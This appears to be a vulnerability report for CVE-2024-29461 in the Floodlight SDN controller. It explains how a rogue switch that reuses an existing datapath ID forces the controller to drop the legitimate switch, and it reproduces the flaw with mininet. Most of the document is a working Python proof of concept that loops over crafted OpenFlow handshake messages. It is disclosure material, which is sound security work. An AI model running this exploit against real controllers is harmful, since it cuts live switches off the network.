BugRef

BugRef.md

CVE-2024-29461

Describe the bug

After the controller establishes a connection with the switch, if the malicious switch sets its datapath ID to be the same as the ID of the existing switch, the controller will disconnect the previous switch.

To Reproduce

Steps to reproduce the behavior:

1. Start the controller and mininet

java -jar ./target/floodlight.jar
sudo mn  --switch=ovsk,protocols=OpenFlow13 --controller=remote,ip=0.0.0.0,port=6653 --topo linear,2

2. Test network status

3. run poc.py

from pwn import *
context.log_level="debug"

hello="0400000800000001"
FeaturesReply="0406002000000000000000000000000100000000fe0000000000004f00000000"
PortDescStatsReply="0413001000000000000d000000000000"
barrier="04150008fffffffe"

GetConfigReply="0408000c000000000000ffff"
muti="04130430fffffffc00000000000000004e69636972612c20496e632e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004f70656e207653776974636800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000322e31332e38000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004e6f6e650000000000000000000000000000000000000000000000000000000073310000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
TableFeaturesStatsReply="0413001000000000000c000000000000"
role="041900180000001900000002000000000000000000000000"

def hex2byte(i):
    return bytes.fromhex(i)

while 1:
    try:
        p=remote("0.0.0.0",6653)
        p.send(hex2byte(hello))

        p.send(hex2byte(FeaturesReply))

        p.send(hex2byte(PortDescStatsReply))

        p.send(hex2byte(barrier))

        p.send(hex2byte(GetConfigReply))

        p.send(hex2byte(muti))
        p.send(hex2byte(TableFeaturesStatsReply))

        p.recvuntil("\x04\x18\x00\x18")
        #xidtar=(p.recv(4))[::-1]
        xidtar=(p.recv(4))
        
        #xidtar=u32(xidtar)

        temp=hex2byte(role)

        temp=temp[:4]+xidtar+temp[8:]
        p.send(temp)

        #break
    except:
        p.close()
        continue

4. Test network status

Expected behavior

Commanding "pingall" on mininet will be dropped

Desktop (please complete the following information):

Floodlight master branch
OS: Ubuntu20.04

Additional context

This seems to be because when the new switch uses the datapath id that is already in use, the original switch will close the connection.

version

Affected versions: v1.2